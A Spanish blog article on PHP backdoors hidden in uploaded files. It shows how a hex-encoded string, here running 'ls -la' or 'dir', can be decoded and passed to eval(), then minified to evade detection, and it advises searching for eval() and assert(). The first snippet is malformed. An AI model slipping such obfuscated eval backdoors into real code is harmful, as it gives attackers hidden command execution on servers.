VULNERABILIDADES DE APLICACIONES WEB: SUBIDA DE ARCHIVOS PELIGROSOS (V) - PUERTAS TRASERAS (II)

21.03.2018 08:24
 
El pirata informático podría recurrir a algo más complejo o menos común que una codificación Base64 para intentar ocultar la verdadera funcionalidad de su código. 
 
<?php 
function decodificar($hexadecimal){
 
//a continuación se divida la cadena hexadecimal, se convierte cada par de caracteres a su correspondiente carácter ASCII y se 
evalúa la cadena resultante como código PHP mediante la función eval(), lo que resultará en la ejecución del código.
 
for ($i=0; $i < strlen($hexadecimal)-1; $i+=2){ 
$cadena .= chr(hexdec($hexadecimal[$i].$hexadecimal[$i+1])); 
eval($cadena); 
 
decodificar('73797374656d28226c73202d6c6122293b')
// en Windows será: decodificar('73797374656d282264697222293b');  
?>
 
Si cambiamos el comentario y lo nombres de la función, variables y parámetros será difícil determinar qué es lo que hace el script:
 
<?php function principal($uno){for ($i=0; $i < strlen($uno)-1; $i+=2){$dos .= chr(hexdec($uno[$i].$uno[$i+1]));}eval($dos);}principal('73797374656d28226c73202d6c6122293b');?>
 
Este código además podría ser insertado en algún script ya existente, complicando aún más su detección.
 
En estos casos lo mejor será buscar la función eval() o en su defecto la función assert(), las cuales debería despertar sospechas por sí solas. (ver: geoestrategia.webnode.es/news/vulnerabilidades-de-aplicaciones-web-inyeccion-de-codigo-php-evaluado-dinamicamente-ii/).
 
Artículo relacionado: